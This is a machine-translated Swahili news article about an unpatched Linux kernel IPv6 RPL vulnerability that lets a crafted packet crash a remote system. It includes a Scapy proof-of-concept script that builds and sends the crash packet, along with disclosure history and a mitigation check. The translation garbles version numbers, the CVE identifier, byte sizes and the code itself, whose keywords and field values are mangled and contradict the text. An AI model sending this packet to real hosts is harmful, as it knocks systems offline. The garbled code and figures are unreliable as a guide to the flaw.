Athari ya rafu ya Linux ya IPv0 ya siku 6 ambayo inaruhusu kernel ya mbali kuacha kufanya kazi

Maelezo yamefichuliwa kuhusu uwezekano wa kuathirika (CVE-0-2023) ambao haujarekebishwa (CVE-2156-6) katika kernel ya Linux, ambayo inaruhusu kusimamisha mfumo kwa kutuma pakiti maalum za IPvXNUMX (pakiti-ya-kifo). Tatizo linaonekana tu wakati usaidizi wa itifaki ya RPL (Itifaki ya Njia ya Mitandao ya Nguvu ya Chini na Upotezaji) imewezeshwa, ambayo imezimwa kwa chaguo-msingi katika usambazaji na hutumiwa hasa kwenye vifaa vilivyopachikwa vinavyofanya kazi kwenye mitandao isiyo na waya na upotezaji mkubwa wa pakiti.

Athari hii inasababishwa na usindikaji usio sahihi wa data ya nje katika msimbo wa uchanganuzi wa itifaki ya RPL, ambayo husababisha kutofaulu kwa madai na punje kuingia katika hali ya hofu. Wakati wa kuweka data iliyopatikana kutokana na kuchanganua kichwa cha pakiti ya IPv6 RPL katika muundo wa k_buff (Socket Buffer), ikiwa uga wa CmprI umewekwa kuwa 15, uga wa Segleft hadi 1, na CmprE hadi 0, vekta ya 48-byte yenye anwani imepunguzwa. hadi ka 528 na inaonekana hali ambapo kumbukumbu iliyotengwa kwa ajili ya bafa haitoshi. Katika hali hii, skb_push chaguo za kukokotoa, zinazotumiwa kusukuma data kwenye muundo, hukagua kutoweza kulinganishwa kati ya ukubwa wa data na bafa, na hivyo kutoa hali ya hofu ili kuzuia uandishi zaidi ya mpaka wa bafa.

Mfano wa kutumia: # Tutatumia Scapy kutengeneza pakiti kutoka kwa scapy.all import * import socket # Tumia IPv6 kutoka kwa kiolesura chako cha LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Tunatumia soketi kutuma pakiti sockfd = soketi.soketi(tundu.AF_INET6, soketi.SOCK_RAW, soketi.IPPROTO_RAW) # Tengeneza pakiti # Aina = 3 hufanya hii kuwa pakiti ya RPL # Anwani zina anwani 3, lakini kwa sababu CmprI ni 15, # kila oktet ya anwani mbili za kwanza ni kutibiwa kama anwani iliyobanwa # Segleft = 1 ili kuanzisha ukuzaji # lastentry = 0xf0 huweka CmprI hadi 15 na CmprE hadi 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(aina=3, anwani:= :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Tuma pakiti hii ovu sockfd.sendto(bytes(p), (DST_ADDR, 0))

Ni muhimu kukumbuka kuwa watengenezaji wa kernel waliarifiwa juu ya hatari hiyo mnamo Januari 2022 na kwa muda wa miezi 15 iliyopita wamejaribu kurekebisha shida mara tatu, wakitoa viraka mnamo Septemba 2022, Oktoba 2022 na Aprili 2023, lakini kila wakati marekebisho yalikuwa. haitoshi na uwezekano wa kuathiriwa haukuweza kutolewa tena. Hatimaye, mradi wa ZDI, ambao uliratibu kazi ya kurekebisha uwezekano huo, uliamua kutoa maelezo ya kina kuhusu udhaifu huo bila kusubiri urekebishaji wa kufanya kazi upatikane kwenye kernel.

Kwa hivyo, udhaifu bado haujarekebishwa. Hasa, kiraka kilichojumuishwa kwenye kernel 6.4-rc2 hakifanyi kazi. Watumiaji wanashauriwa kuangalia ikiwa itifaki ya RPL haitumiki kwenye mifumo yao, ambayo inaweza kufanywa kwa kutumia amri sysctl -a | grep -i rpl_seg_imewezeshwa

Chanzo: opennet.ru

Kuongeza maoni